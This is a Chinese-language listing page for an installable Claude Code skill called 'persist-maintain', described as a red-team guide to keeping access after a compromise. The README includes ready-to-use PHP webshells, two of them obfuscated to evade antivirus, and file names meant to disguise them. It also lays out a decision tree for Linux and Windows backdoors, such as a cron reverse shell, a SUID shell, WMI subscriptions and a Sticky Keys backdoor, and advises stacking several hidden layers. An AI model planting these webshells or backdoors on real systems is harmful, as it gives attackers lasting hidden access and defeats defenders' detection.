mcpField
P
persist-maintain

persist-maintain

github.com/wgpsec安全1.8k48 次安装4 天前更新
代码仓库

关于 persist-maintain

介绍 Web、Linux 和 Windows 环境中持久化方法的安全技能参考,提供决策树与分层策略,用于在初始入侵后维持访问。

主要功能

  1. 01Webshell 部署位置建议
  2. 02Linux 与 Windows 方法选择
  3. 03分层持久化策略
  4. 04隐蔽性注意事项

适用场景

  1. 01规划红队评估中的持久化方案
  2. 02按操作系统和访问条件选择方法
  3. 03记录已部署的持久化机制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill persist-maintain

安装后在 Claude Code 中输入/persist-maintain确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

evals/
evals.json
recall.json
references/
persistence-techniques.md

详细介绍

来自项目 README

权限持久化方法论

持久化核心:建立不依赖原始漏洞的访问通道。

⛔ 深入参考(必读)


Phase 1: Web 层持久化

Webshell 部署

部署位置(按隐蔽性):静态资源目录 > 上传目录 > 框架目录深处 > 已有文件末尾追加

隐蔽 Webshell:

<?php @eval($_POST['cmd']);?>                    // 一句话
<?php $a='sys'.'tem'; $a($_GET['c']);?>          // 字符串拼接免杀
<?php array_map('assert', array($_POST['cmd']));?>  // 函数回调免杀

文件名伪装:.htaccess, config.bak.php, error_log.php, .user.ini

Phase 2: 持久化决策树

目标操作系统?
├─ Linux
│   ├─ 有 SSH 访问?→ SSH 公钥(最可靠)
│   ├─ 需要自动回连?→ Cron 反弹 shell
│   ├─ 需要隐蔽?→ systemd 服务 / bashrc 后门
│   └─ 快速后门?→ SUID shell
├─ Windows
│   ├─ 有管理员权限?→ WMI 事件订阅(最难检测)
│   ├─ 需要开机启动?→ 注册表 Run 键 / 计划任务
│   └─ 有 RDP 访问?→ Sticky Keys 后门
└─ Web 层(通用)→ Webshell
详细命令 → [references/persistence-techniques.md](references/persistence-techniques.md)

Phase 3: 多层持久化策略

不要只用一种——建立多层后门:

  1. 第一层:Webshell(Web 层,最容易恢复)
  2. 第二层:SSH 密钥或计划任务(系统层)
  3. 第三层:服务或 WMI 订阅(深层,难以发现)

注意事项

  • 持久化越隐蔽越好——文件名/服务名/任务名应像正常系统组件
  • 避免使用明显路径(如 /tmp/backdoor.sh)
  • 在红队评估中,记录部署了什么、在哪里

PHP Webshell 混淆

  • 变量函数:$$var 动态调用,避免直接出现 eval/system(隐蔽执行)
  • 替代函数:eval 替代为 assert,system 替代为 passthru 等

隐蔽性排名

  • 不要修改 index.php 等核心文件——容易发现,危险

评论

支持 Markdown